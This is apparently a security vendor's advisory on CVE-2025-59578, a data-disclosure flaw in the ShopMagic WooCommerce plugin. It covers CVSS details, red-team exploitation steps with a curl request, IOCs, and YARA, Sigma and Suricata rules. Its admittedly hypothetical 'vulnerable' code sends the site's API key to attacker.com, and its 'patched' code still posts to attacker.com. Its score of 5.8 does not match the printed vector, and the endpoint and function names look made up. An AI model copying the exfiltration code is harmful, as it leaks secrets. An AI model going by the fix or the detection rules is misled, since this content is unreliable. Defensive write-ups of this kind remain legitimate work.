CVE-2025-59578

Executive Summary

CVE-2025-59578 is a medium-severity information disclosure vulnerability affecting the ShopMagic WordPress plugin for WooCommerce, developed by Wpdesk. The vulnerability allows an unauthenticated attacker to retrieve embedded sensitive data due to the insertion of sensitive information into sent data (CWE-201). This issue impacts all versions of ShopMagic from n/a through 4.5.6. As of this report, no official patch has been released, and the vendor's patch status is marked as UNKNOWN/UNPATCHED.

The vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx server misconfigurations. It is a plugin-level flaw that exposes sensitive data, such as API keys, tokens, or customer PII, within data transmissions. The CVSS score of 5.8 (Medium) reflects the low complexity of exploitation and the potential for data leakage, though the EPSS score of 0.0% suggests limited active exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability is tied to a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using ShopMagic should treat this as a supply chain risk, as the plugin may be bundled in managed WordPress hosting environments or custom deployments. No OSV or GitHub advisory data is available, increasing the difficulty of automated patch management.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.8 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited sensitive data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No service disruption.

Threat Level: Medium. The vulnerability is easy to exploit but currently has low exploitation activity (EPSS 0.0%). However, the lack of a patch increases long-term risk.

Deep Dive & Mechanics

The vulnerability resides in the ShopMagic plugin's data transmission handling. ShopMagic is a marketing automation plugin for WooCommerce that sends transactional emails, SMS, and other notifications. The flaw occurs when the plugin inserts sensitive information (e.g., API keys, customer order details, or internal tokens) into sent data without proper sanitization or encryption.

Root Cause: The plugin fails to filter or mask sensitive fields before including them in outbound data payloads. This could happen in REST API responses, webhook callbacks, or email headers. An attacker can intercept or trigger these transmissions to extract embedded sensitive data.

Attack Vector: An unauthenticated attacker can send crafted requests to endpoints that trigger data transmission (e.g., order status updates, abandoned cart recovery). The plugin then includes sensitive data in the response or callback, which the attacker can capture.

Impact: Exposure of WooCommerce API keys, customer PII (names, addresses, payment details), or internal plugin configuration data. This could lead to further account compromise or data breaches.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability type.

Vulnerable Code (ShopMagic <= 4.5.6):

// Example: Sending order data via webhook
function shopmagic_send_webhook($order_id) {
    $order = wc_get_order($order_id);
    $data = array(
        'order_id' => $order->get_id(),
        'customer_email' => $order->get_billing_email(),
        'api_key' => get_option('shopmagic_api_key'), // Sensitive data exposed
        'order_total' => $order->get_total()
    );
    wp_remote_post('https://attacker.com/webhook', array('body' => $data));
}

Patched Code (Hypothetical):

// Patched version: Remove sensitive fields
function shopmagic_send_webhook($order_id) {
    $order = wc_get_order($order_id);
    $data = array(
        'order_id' => $order->get_id(),
        'customer_email' => $order->get_billing_email(),
        'order_total' => $order->get_total()
        // api_key removed
    );
    wp_remote_post('https://attacker.com/webhook', array('body' => $data));
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with ShopMagic plugin version <= 4.5.6.
• Network access to the site (e.g., public internet or internal network).

Exploitation Steps:

1. Identify endpoints that trigger data transmission (e.g., /wp-json/shopmagic/v1/order-update).
2. Send a crafted request to trigger a webhook or email notification.
3. Intercept the outbound data using a proxy (e.g., Burp Suite) or set up a listener to capture the webhook payload.
4. Extract sensitive data from the response.

Example Request (using cURL):

curl -X POST "https://target.com/wp-json/shopmagic/v1/order-update" \
  -H "Content-Type: application/json" \
  -d '{"order_id": 12345}'

Expected Output (Vulnerable):

{
  "order_id": 12345,
  "customer_email": "user@example.com",
  "api_key": "sk_live_xxxxxxxxxxxxx",
  "order_total": "99.99"
}

Blue Team (Detection & Hardening)

Detection:

• Monitor outbound webhook requests for unexpected sensitive data fields.
• Use WAF rules to block requests to unknown or suspicious endpoints.
• Enable logging for all REST API calls and review for anomalies.

Hardening:

• Disable the plugin if not essential.
• Implement network segmentation to limit outbound traffic from WordPress servers.
• Use a web application firewall (WAF) to inspect and filter API responses.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests containing api_key, secret, or token fields in POST bodies.
  • Connections to unknown or suspicious webhook URLs (e.g., https://evil.com/webhook).
• File IOCs:
  • Modified wp-content/plugins/shopmagic-for-woocommerce/ files with suspicious webhook URLs.
• Log IOCs:
  • Repeated calls to /wp-json/shopmagic/v1/ endpoints from unknown IPs.
  • Error logs showing failed webhook deliveries to external domains.

Detection Engineering

YARA Rule

rule CVE_2025_59578_ShopMagic_InfoDisclosure {
    meta:
        description = "Detects ShopMagic plugin files with sensitive data exposure"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59578"
    strings:
        $sensitive1 = "api_key" ascii wide nocase
        $sensitive2 = "secret_key" ascii wide nocase
        $sensitive3 = "token" ascii wide nocase
        $function = "shopmagic_send_webhook" ascii wide nocase
    condition:
        all of ($sensitive*) and $function
}

Sigma Rule

title: CVE-2025-59578 - ShopMagic Sensitive Data Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects outbound HTTP requests containing sensitive data from ShopMagic plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        http.request_body|contains:
            - 'api_key'
            - 'secret_key'
            - 'token'
        http.url|contains: '/wp-json/shopmagic/v1/'
    condition: selection
falsepositives:
    - Legitimate plugin functionality if patched
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59578 - ShopMagic Sensitive Data Exposure"; flow:to_server; content:"/wp-json/shopmagic/v1/"; http_uri; content:"api_key"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review logs for any signs of data exfiltration.
3. Rotate any exposed API keys or secrets.

Long-term Fix:

• Monitor the Wpdesk vendor for an official patch.
• Apply the patch as soon as it becomes available.
• Consider replacing ShopMagic with an alternative plugin that has a better security track record.

Workarounds:

• Use a WAF to block outbound requests containing sensitive keywords.
• Implement network egress filtering to restrict outbound connections to trusted domains only.

Valters IT
Securing Digital Frontiers